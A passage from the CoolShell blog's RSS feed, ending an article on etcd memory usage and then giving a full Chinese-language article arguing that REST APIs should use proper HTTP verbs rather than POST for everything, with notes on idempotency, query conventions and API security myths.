rel=\"noopener\">PR#542</a> 。</p>\n<h4>总结</h4>\n<p>要用好 etcd，有如下的实践</p>\n<ul>\n<li>避免大尺寸的key和value，一方面会通过一个内存级的 Raft Log 占大量内存，另一方面，B-tree的多版本索引也会因为这样耗内存。</li>\n<li>避免DB的尺寸太大，并通过 compact和defreg来压缩和碎片整理降低内存。</li>\n<li>避免大量的Watch Client 和 Watch数。这个开销也是比较大的。</li>\n<li>最后还有一个，就是尽可能使用新的版本，无论是go语言还是etcd，这样会少很多内存问题。比如：golang的这个跟LInux内核心相关的<a href=\"https://github.com/golang/go/issues/42330\" target=\"_blank\" rel=\"noopener\">内存问题</a> —— golang 1.12的版sget的是 <code>MADV_FREE</code> 的内存回收机制，而在1.16的时候，改成了 <code>MADV_DONTNEED</code> ，这两者的差别是，<code>FREE</code>表示，虽然进程标记内存不要了，但是操作系统会保留之，直到需要更多的内存，而 <code>DONTNEED</code> 则是立马回收，你可以看到，在常驻内存RSS 上，前者虽然在golang的进程上回收了内存，但是RSS值不变，而后者会看到RSS直立马变化。Linux下对 <code>MADV_FREE</code> 的实现在某些情况下有一定的问题，所以，在go 1.16的时候，默认值改成了 <code>MADV_DONTNEED</code> 。而 etcd 3.4 是用 来1.12 编译的。</li>\n</ul>\n<p>最后，欢迎大家关注我们的开源软件！ <a href=\"https://github.com/megaease/\" target=\"_blank\" rel=\"noopener\">https://github.com/megaease/ </a></p>\n<div class=\"p-rich_text_section\">\n<p>（全文完）</p>\n</div>\n</div>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/09/go-generics-150x150.png\" alt=\"Go编程模式 ： 泛型编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21615.html\" class=\"wp_rp_title\">Go编程模式 ： 泛型编程</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li><li ><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.line_.-150x150.png\" alt=\"Go编程模式：Pipeline\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21228.html\" class=\"wp_rp_title\">Go编程模式：Pipeline</a></li><li ><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.pair_-150x150.png\" alt=\"Go编程模式：委托和反转控制\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21214.html\" class=\"wp_rp_title\">Go编程模式：委托和反转控制</a></li><li ><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.generate-150x150.png\" alt=\"Go 编程模式：Go Generation\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21179.html\" class=\"wp_rp_title\">Go 编程模式：Go Generation</a></li><li ><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.map_.reduce-150x150.png\" alt=\"Go编程模式：Map-Reduce\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21164.html\" class=\"wp_rp_title\">Go编程模式：Map-Reduce</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/22242.html\">ETCD的内存问题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/22242.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>39</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>“一把梭：REST API 全用 POST”</title>\n\t\t<link>https://coolshell.cn/articles/22173.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/22173.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sun, 13 Feb 2022 04:28:47 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[HTTP]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[Restful]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">https://coolshell.cn/?p=22173</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>写这篇文章的原因主要还是因为V2EX上的这个贴子，这个贴子中说—— “对接同事的接口，他定义的所有接口都是 post 请求，理由是 https 用 post 更...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/22173.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><img decoding=\"async\" loading=\"lazy\" class=\"alignright wp-image-22176\" src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-300x169.png\" alt=\"\" width=\"325\" height=\"183\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-300x169.png 300w, https://coolshell.cn/wp-content/uploads/2022/02/http_method-1024x576.png 1024w, https://coolshell.cn/wp-content/uploads/2022/02/http_method-768x432.png 768w, https://coolshell.cn/wp-content/uploads/2022/02/http_method-480x270.png 480w, https://coolshell.cn/wp-content/uploads/2022/02/http_method.png 1200w\" sizes=\"(max-width: 325px) 100vw, 325px\" /></p>\n<p>写这篇文章的原因主要还是因为V2EX上的这个<a href=\"https://www.v2ex.com/t/830030?p=1\" target=\"_blank\" rel=\"noopener\">贴子</a>，这个贴子中说——</p>\n<blockquote><p>“对接同事的接口，他定义的所有接口都是 post 请求，理由是 https 用 post 更安全，之前习惯使用 restful api ，如果说 https 只有 post 请求是安全的话？那为啥还需要 get 、put 、delete ？我该如何反驳他。”</p></blockquote>\n<p>然后该贴中大量的回复大概有这么几种论调，1）POST挺好的，就应该这么干，沟通少，2）一把梭，早点干完早点回家，3）吵赢了又怎么样？工作而已，优雅不能当饭吃。虽然评论没有一边倒，但是也有大量的人支持。然后，我在Twitter上嘲讽了一下，用POST干一切就像看到了来你家装修工人说，“老子干活就是用钉子钉一切，什么螺丝、螺栓、卡扣、插销……通通不用，钉枪一把梭，方便，快捷，安全，干完早回家……不过，还是有一些网友觉得用POST挺好的，而且可以节约时间。所以，正好，我在《<a title=\"我做系统架构的一些原则\" href=\"https://coolshell.cn/articles/21672.html\" target=\"_blank\" rel=\"noopener\">我做系统架构的原则</a>》中的“<a href=\"https://coolshell.cn/articles/21672.html#%E5%8E%9F%E5%88%99%E4%BA%94%EF%BC%9A%E5%88%B6%E5%AE%9A%E5%B9%B6%E9%81%B5%E5%BE%AA%E6%9C%8D%E4%BB%8E%E6%A0%87%E5%87%86%E3%80%81%E8%A7%84%E8%8C%83%E5%92%8C%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5\" target=\"_blank\" rel=\"noopener\">原则五</a>”中反对API返回码无论对错全是200的返回那，我专门写下这一篇文章，以正视听。</p>\n<p>这篇文章主要分成下面这几个部分：</p>\n<ol>\n<li>为什么要用不同的HTTP动词？</li>\n<li>Restful 进行复杂查询</li>\n<li>几个主要问题的回应\n<ul>\n<li>POST 更安全吗？</li>\n<li>全用 POST 可以节省时间沟通少吗？</li>\n<li>早点回家的正确姿势</li>\n<li>工作而已，优雅不能当饭吃</li>\n</ul>\n</li>\n</ol>\n<p><span id=\"more-22173\"></span></p>\n<h4>为什么要用不同的HTTP动词</h4>\n<p>编程世界通常来说有两种逻辑：“<strong>业务逻辑</strong>” 和 “<strong>控制逻辑</strong>”。</p>\n<ul>\n<li><strong>业务逻辑</strong>。就是你实现业务需求的功能的代码，就是跟用户需求强相关的代码。比如，把用户提交的数据保存起来，查询用户的数据，完成一个订单交易，为用户退款……等等，这些是业务逻辑</li>\n<li><strong>控制逻辑</strong>。就是我们用于控制程序运行的非功能性的代码。比如，用于控制程序循环的变量和条件，使用多线程或分布式的技术，使用HTTP/TCP协议，使用什么样数据库，什么样的中间件……等等，这些跟用户需求完全没关系的东西。</li>\n</ul>\n<p>网络协议也是一样的，一般来说，<strong>几乎所有的主流网络协议都有两个部分，一个是协议头，一个是协议体。协议头中是协议自己要用的数据，协议体才是用户的数据。所以，协议头主要是用于协议的控制逻辑，而协议体则是业务逻辑。</strong></p>\n<p>HTTP的动词（或是Method）是在协议头中，所以，其主要用于控制逻辑。</p>\n<p dir=\"auto\">下面是HTTP的动词规范，一般来说，REST API 需要开发人员严格遵循下面的标准规范（参看<a href=\"https://www.rfc-editor.org/rfc/rfc7231#section-4.2.2\" target=\"_blank\" rel=\"noopener\">RFC7231 章节4.2.2 &#8211; Idempotent Methods</a>）</p>\n<table>\n<thead>\n<tr>\n<th>方法</th>\n<th>描述</th>\n<th>幂等</th>\n</tr>\n</thead>\n<tbody>\n<tr>\n<td>GET</td>\n<td>用于查询操作，对应于数据库的 <code>select</code> 操作</td>\n<td style=\"text-align: center;\"><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" alt=\"✔\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />︎</td>\n</tr>\n<tr>\n<td>PUT</td>\n<td>用于所有的信息更新，对应于数据库的 <code>update </code>操作</td>\n<td style=\"text-align: center;\"><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" alt=\"✔\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />︎︎</td>\n</tr>\n<tr>\n<td>DELETE</td>\n<td>用于更新操作，对应于数据库的 <code>delete</code> 操作</td>\n<td style=\"text-align: center;\"><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" alt=\"✔\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />︎︎</td>\n</tr>\n<tr>\n<td>POST</td>\n<td>用于新增操作，对应于数据库的 <code>insert</code> 操作</td>\n<td style=\"text-align: center;\">✘</td>\n</tr>\n<tr>\n<td>HEAD</td>\n<td>用于返回一个资源对象的“元数据”，或是用于探测API是否健康</td>\n<td style=\"text-align: center;\"><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" alt=\"✔\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />︎</td>\n</tr>\n<tr>\n<td>PATCH</td>\n<td>用于局部信息的更新，对应于数据库的 <code>update</code> 操作</td>\n<td style=\"text-align: center;\">✘</td>\n</tr>\n<tr>\n<td>OPTIONS</td>\n<td>获取API的相关的信息。</td>\n<td style=\"text-align: center;\"><img src=\"https://s.w.org/images/core/emoji/14.0.0/72x72/2714.png\" alt=\"✔\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" />︎</td>\n</tr>\n</tbody>\n</table>\n<p>其中，<code>PUT</code> 和 <code>PACTH</code> 都是更新业务资源信息，如果资源对象不存在则可以新建一个，但他们两者的区别是，<code>PUT</code> 用于更新一个业务对象的所有完整信息，就像是我们通过表单提交所有的数据，而 <code>PACTH</code> 则对更为API化的数据更新操作，只需要更需要更新的字段（参看 <a href=\"http://tools.ietf.org/html/rfc5789\" rel=\"nofollow\">RFC 5789</a> ）。</p>\n<p>当然，现实世界中，可能并不一定严格地按照数据库操作的CRUD来理解API，比如，你有一个登录的API <code>/login</code> 你觉得这个API应该是 <code>GET</code> ，<code>POST</code>，<code>PUT</code> 还是 <code>PATCH</code> ?登录的时候用户需要输入用户名和密码，然后跟数据库里的对比（select操作）后反回一个登录的session token，然后这个token作为用户登录的状态令牌。如果按上面表格来说，应该是 select 操作进行 <code>GET</code> ，但是从语义上来说，登录并不是查询信息，应该是用户状态的更新或是新增操作（新增session），所以还是应该使用 <code>POST</code>，而 <code>/logout</code> 你可以使用 <code>DELETE</code> 。<strong>这里相说明一下，不要机械地通过数据库的CRUD来对应这些动词，很多时候，还是要分析一下业务语义。</strong></p>\n<p><strong>另外，我们注意到，在这个表格的最后一列中加入了“是否幂等”的，API的幂等对于控制逻辑来说是一件很重要的事。</strong>所谓幂等，就是该API执行多次和执行一次的结果是完全一样的，没有副作用。</p>\n<ul>\n<li><code>POST</code> 用于新增加数据，比如，新增一个交易订单，这肯定不能是幂等的</li>\n<li><code>DELETE</code> 用于删除数据，一个数据删除多次和删除一次的结果是一样的，所以，是幂等的</li>\n<li><code>PUT</code> 用于全部数更新，所以，是幂等的。</li>\n<li><code>PATCH</code>用于局部更新，比如，更新某个字段 cnt = cnt+1，明显不可能是幂等操作。</li>\n</ul>\n<p>幂等这个特性对于远程调用是一件非常关键的事，就是说，远程调用有很多时候会因为网络原因导致调用timeout，对于timeout的请求，我们是无法知道服务端是否已经是收到请求并执行了，此时，我们不能贸然重试请求，对于不是幂等的调用来说，这会是灾难性的。比如像转帐这样的业务逻辑，转一次和转多次结果是不一样的，如果重新的话有可能就会多转了一次。所以，这个时候，如果你的API遵从了HTTP动词的规范，那么你写起程序来就可以明白在哪些动词下可以重试，而在哪些动词下不能重试。如果你把所有的API都用POST来表达的话，就完全失控了。</p>\n<p>除了幂等这样的控制逻辑之外，你可能还会有如下的这些控制逻辑的需求：</p>\n<ul>\n<li><strong>缓存</strong>。通过CDN或是网关对API进行缓存，很显然，我们要在查询<code>GET</code> 操作上建议缓存。</li>\n<li><strong>流控</strong>。你可以通过HTTP的动词进行更粒度的流控，比如：限制API的请用频率，在读操作上和写操作上应该是不一样的。</li>\n<li><strong>路由</strong>。比如：写请求路由到写服务上，读请求路由到读服务上。</li>\n<li><strong>权限</strong>。可以获得更细粒度的权限控制和审计。</li>\n<li><strong>监控</strong>。因为不同的方法的API的性能都不一样，所以，可以区分做性能分析。</li>\n<li><strong>压测</strong>。当你需要压力测试API时，如果没有动词的区分的话，我相信你的压力测试很难搞吧。</li>\n<li>……等等</li>\n</ul>\n<p>也许，你会说，我的业务太简单了，没有必要搞这么复杂。OK，没有问题，但<strong>是我觉得你最差的情况下，也是需要做到“读写分离”的，就是说，至少要有两个动词，<code>GET</code> 表示是读操作，<code>POST</code>表示是写操作。</strong></p>\n<h4>Restful 复杂查询</h4>\n<p>一般来说，对于查询类的API，主要就是要完成四种操作：排序，过滤，搜索，分页。下面是一些相关的规范。参考于两个我觉得写的最好的Restful API的规范文档，<a href=\"https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md\" target=\"_blank\" rel=\"noopener\">Microsoft REST API Guidelines</a>，<a href=\"https://github.com/paypal/api-standards/blob/master/api-style-guide.md\" target=\"_blank\" rel=\"noopener\">Paypal API Design Guidelines</a>。</p>\n<ul dir=\"auto\">\n<li>\n<p dir=\"auto\"><strong>排序</strong>。对于结果集的排序，使用 <code>sort</code> 关键字，以及 <code>{field_name}|{asc|desc},{field_name}|{asc|desc}</code> 的相关语法。比如，某API需要返回公司的列表，并按照某些字段排序，如：<code>GET /admin/companies?sort=rank|asc</code> 或是 <code>GET /admin/companies?sort=rank|asc,zip_code|desc</code></p>\n</li>\n<li>\n<p dir=\"auto\"><strong>过滤</strong>。对于结果集的过滤，使用 <code>filter</code> 关键字，以及 <code>{field_name} op{value}</code> 的语法。比如： <code>GET /companies?category=banking&amp;location=china</code> 。但是，有些时候，我们需要更为灵活的表达式，我们就需要在URL上构造我们的表达式。这里需要定义六个比较操作：<code>=</code>，<code>&lt;</code>，<code>&gt;</code>，<code>&lt;=</code>，<code>&gt;=</code>，以及三个逻辑操作：<code>and</code>，<code>or</code>，<code>not</code>。（表达式中的一些特殊字符需要做一定的转义，比如：<code>&gt;=</code> 转成 <code>ge</code>）于是，我们就会有如下的查询表达式：<code>GET /products?$filter=name eq 'Milk' and price lt 2.55</code> 查找所有的价柗小于2.55的牛奶。</p>\n</li>\n<li>\n<p dir=\"auto\"><strong>搜索</strong>。对于相关的搜索，使用 <code>search</code> 关键字，以及关键词。如：<code>GET /books/search?description=algorithm</code> 或是直接就是全文搜索 <code>GET /books/search?key=algorithm</code> 。</p>\n</li>\n<li>\n<p dir=\"auto\"><strong>分页</strong>。对于结果集进行分页处理，分页必需是一个默认行为，这样不会产生大量的返回数据。</p>\n<ul dir=\"auto\">\n<li>使用<code>page</code>和<code>per_page</code>代表页码和每页数据量，比如：<code>GET /books?page=3&amp;per_page=20</code>。</li>\n<li><strong>可选</strong>。上面提到的<code>page</code>方式为使用相对位置来获取数据，可能会存在两个问题：性能（大数据量）与数据偏差（高频更新）。此时可以使用绝对位置来获取数据：事先记录下当前已获取数据里最后一条数据的<code>ID</code>、<code>时间</code>等信息，以此获取 “<strong>该ID之前的数据</strong>” 或 “<strong>该时刻之前的数据</strong>”。示例：<code>GET /news?max_id=23454345&amp;per_page=20</code> 或 <code>GET /news?published_before=2011-01-01T00:00:00Z&amp;per_page=20</code>。\n<p dir=\"auto\">\n</li>\n</ul>\n</li>\n</ul>\n<p dir=\"auto\"><strong>注意：这里需要注意一下，在理论上来说<code>GET</code>是可以带 body 的，但是很多程序的类库或是中间件并不支持 GET 带 body，导致你只能用 POST 来传递参数。这里的原则是：</strong></p>\n<ol dir=\"auto\">\n<li>\n<p dir=\"auto\"><strong>对于简单的查询，很多参数都设计在 restful API 的路径上了，而 filter/sort/pagination 也不会带来很多的复杂，所以应该使用 <code>GET</code> </strong></p>\n</li>\n<li><strong>对于复杂的查询来说，可能会有很复杂的查询参数，比如：ElasticSearch 上的 <code>index/_search</code>里的 DSL，你也应该尽可能的使用 <code>GET</code>，而不是<code>POST</code> 除非客观条件上不支持<code>GET</code>。ElasticSearch 的<a href=\"https://www.elastic.co/guide/en/elasticsearch/guide/current/_empty_search.html\" target=\"_blank\" rel=\"noopener\">官方文档</a>里也是这么说的。</strong></li>\n</ol>\n<blockquote><p>The authors of Elasticsearch prefer using GET for a search request because they feel that it describes the action—​retrieving information—​better than the POST verb. （我们推荐使用 GET而不是 POST，因为语义更清楚）However, because GET with a request body is not universally supported, the search API also accepts POST requests （除非你的类库或是服务器不支持 GET带参数 ，你再用POST，我们两个都支持）</p>\n<p><strong>陈皓注：但是在 ElasticSearch 7.11 后，GET 也不支持 body 了。这是 ElasticSearch 的设计和实现不对应了。</strong></p></blockquote>\n<div id=\"message-accessories-1073072655571370085\" class=\"container-2sjPya\">\n<div class=\"messageAttachment-CZp8Iv messageAttachmentNoJustify-lIzP9c\">\n<div class=\"imageContent-3Av-9c embedWrapper-1MtIDg attachmentContentItem-UKeiCx\">\n<div class=\"imageContainer-10XenG\">\n<div class=\"imageWrapper-oMkQl4 imageZoom-3yLCXY clickable-LksVCf\">另外，对于一些更为复杂的操作，建议通过分别调用多个API的方式来完成，虽然这样会增加网络请求的次数，但是这样的可以让后端程序和数据耦合度更小，更容易成为微服务的架构。</div>\n</div>\n</div>\n</div>\n</div>\n<p>最后，如果你想在Rest中使用像GraphQL那样的查询语言，你可以考虑一下类似 <a href=\"https://www.odata.org/\" target=\"_blank\" rel=\"noopener\">OData</a> 的解决方案。OData 是 Open Data Protocol 的缩写，最初由 Microsoft 于 2007 年开发。它是一种开放协议，使您能够以简单和标准的方式创建和使用可查询和可互操作的 RESTful API。</p>\n<h4>几个主要问题的回应</h4>\n<p>下面是对几个问题的直接回应，如果大家需要我回应更多的问题，可以在后面留言，我会把问题和我的回应添加到下面。</p>\n<h5>1）为什么API 要Restful，并符合规范？</h5>\n<p><strong>Restful API算是一个HTTP的规范和标准了，你要说是最佳实践也好，总之，它是一个全世界对HTTP API的一个共识。在这个共识上，你可以无成本地享受很多的技术红利，比如：CDN，API网关，服务治理，监控……等等。这些都是可以让你大幅度降低研发成本，避免踩坑的原因。</strong></p>\n<h5>2）为什么“过早优化”不适用于API设计？</h5>\n<p>因为API是一种契约，一旦被使用上，就很难再变更了，就算你发行新的版本的API，你还要驱动各种调用方升级他们的调用方式。所以，接口设计就像数据库模式设计一下，一旦设计好了，未来再变更就比较难了。所以，还是要好好设计。正如前面我给的几个文档——<a href=\"https://github.com/microsoft/api-guidelines/blob/vNext/Guidelines.md\" target=\"_blank\" rel=\"noopener\">Microsoft REST API Guidelines</a>，<a href=\"https://github.com/paypal/api-standards/blob/master/api-style-guide.md\" target=\"_blank\" rel=\"noopener\">Paypal API Design Guidelines</a> 或是 <a href=\"https://cloud.google.com/apis/design\" target=\"_blank\" rel=\"noopener\">Google API Design Guide</a> 都是让你好好设计API的不错的 Guidelines.</p>\n<h5>3）POST 更安全吗？</h5>\n<p>不会。</p>\n<p>很多同学以为 <code>GET</code> 的请求数据在URL中，而 <code>POST</code> 的则不是，所以以为 <code>POST</code> 更安全。不是这样的，整个请求的HTTP URL PATH会全部封装在HTTP的协议头中。只要是HTTPS，就是安全的。当然，有些网关如nginx会把URL打到日志中，或是会放在浏览器的历史记录中，所以有人会说 <code>GET</code> 请求不安全，但是，<code>POST</code> 也没有好到哪里去，在 <a href=\"https://en.wikipedia.org/wiki/Cross-site_request_forgery\" target=\"_blank\" rel=\"noopener\">CSRF</a> 这个最常见的安全问题上，则完全就是针对 <code>POST</code> 的。  安全是一件很复杂的事，无论你用哪方法或动词都会不能代表你会更安全。</p>\n<p>另外，</p>\n<ul>\n<li>如果你要 防止你的 <code>GET</code> 上有敏感信息，应该加个密，这个跟 <code>POST</code>是一样的。</li>\n<li>如果你要防止 <code>GET</code> 会被中间人修改，你应该做一个URL签名。（通常来说， 我们都在 <code>GET</code> 上做签名，<code>POST</code> 就忘做了）</li>\n<li>如果你要防止有人发一些恶意链接来 hack 你的用户（传说中的 <code>GET</code> 不如 <code>POST</code> 安全的一个问题），你应该用 HMAC 之类的认证技术做好认证（参看 <a title=\"HTTP API 认证授权术\" href=\"https://coolshell.cn/articles/19395.html\" target=\"_blank\" rel=\"noopener\">HTTP API 认证授权术</a>）。</li>\n</ul>\n<p>总之，你要明白，<code>GET</code> 和 <code>POST</code> 的安全问题都一样的，不要有谁比谁更安全，然后你就可以掉以轻心的这样的想法，安全都是要很严肃对待的。</p>\n<h5>4）全用 POST 可以节省时间减少沟通吗？</h5>\n<p>不但不会，反而更糟糕。</p>\n<p>说这种话的人，我感觉是不会思考问题。</p>\n<ul>\n<li>其一，为API赋于不同的动词，这个几乎不需要时间。把CRUD写在不同的函数下也是一种很好的编程风格。另外现在几乎所有的开发框架都支持很快速的CRUD的开发，比如Spring Boot，写数据库的CRUD基本上就不需要写SQL语言相关的查询代码，非常之方便。</li>\n<li>其二，使用规范的方式，可以节约新加入团队人员的学习成本，而且可以大大减少跨团队的沟能成本。规范和标准其实就是在节约团队时间提升整体效率的，这个我们整个人类进行协作的基础。所以，这个世界上有很多的标准，你只要照着这个标准来，你的所生产的零件就可以适配到其它厂商的产品上。而不需要相互沟通。</li>\n<li>其三，全用POST接口一把梭，不规范不标准，使用你的这个山寨API的人就得来不断的问你，反而增加了沟通。另外，也许你开发业务功能很快了，但是你在做控制逻辑的时候，你就要返工了，从长期上来讲，你的欠下了技术债，这个债反而导致了更大的成本。</li>\n</ul>\n<h5>5）早点回家的正确姿势</h5>\n<p>不要以为你回家早就没事了，如果你的代码有这样那样的问题，别人看懂，或是出误用了你的代码出了问题，那么，你早回家有什么意义呢？你一样要被打扰，甚至被叫到公司来处理问题。所以，你应该做的是为了“长期的早回家”，而不是“短期的早回家”，要像长期的早回家，通常来说是这样的：</p>\n<ul>\n<li><strong>把代码组织设计好，有更好的扩展性</strong>。这样在面对新需求的时候，你就可以做到少改代码，甚至不改代码。这样你才可能早回家。不然，每次需求一来，你得重新写，你怎么可能早回家？</li>\n<li><strong>你的代码质量是不错的，有不错的文档和注释</strong>。所以，别人不会老有问题来找你，或是你下班后，叫你来处理问题。甚至任何人都可以很容易地接手你的代码，这样你才可能真正不被打扰</li>\n</ul>\n<h5>6）工作而已，优雅不能当饭吃</h5>\n<p>回应两点：</p>\n<p>其一，遵循个规范而已，把“正常”叫“优雅”，可见标准有多低。这么低的标准也只能“为了吃饭而生存了”。</p>\n<p>其二，<strong>作为一个“职业程序员”，要学会热爱和尊重自己的职业，热爱自己职业最重要的就是不要让外行人看扁这个职业，自己都不尊重这个职业，你让别人怎么尊重？尊重自己的职业，不仅仅只是能够获得让人羡慕的报酬，而更是要让自己的这个职业的更有含金量</strong>。</p>\n<p><strong>希望大家都能尊重自己从事的这个职业，成为真正的职业化的程序员，而不是一个码农！</strong></p>\n<figure id=\"attachment_22177\" aria-describedby=\"caption-attachment-22177\" style=\"width: 834px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" loading=\"lazy\" class=\"wp-image-22177 size-full\" src=\"https://coolshell.cn/wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75.jpeg\" alt=\"\" width=\"834\" height=\"319\" srcset=\"https://coolshell.cn/wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75.jpeg 834w, https://coolshell.cn/wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75-300x115.jpeg 300w, https://coolshell.cn/wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75-768x294.jpeg 768w, https://coolshell.cn/wp-content/uploads/2022/02/quote-your-job-gives-you-authority-your-behavior-gives-you-respect-irwin-federman-73-55-75-604x231.jpeg 604w\" sizes=\"(max-width: 834px) 100vw, 834px\" /><figcaption id=\"caption-attachment-22177\" class=\"wp-caption-text\">你的工作给你权力，而只有你的行为才会给你尊重</figcaption></figure>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a 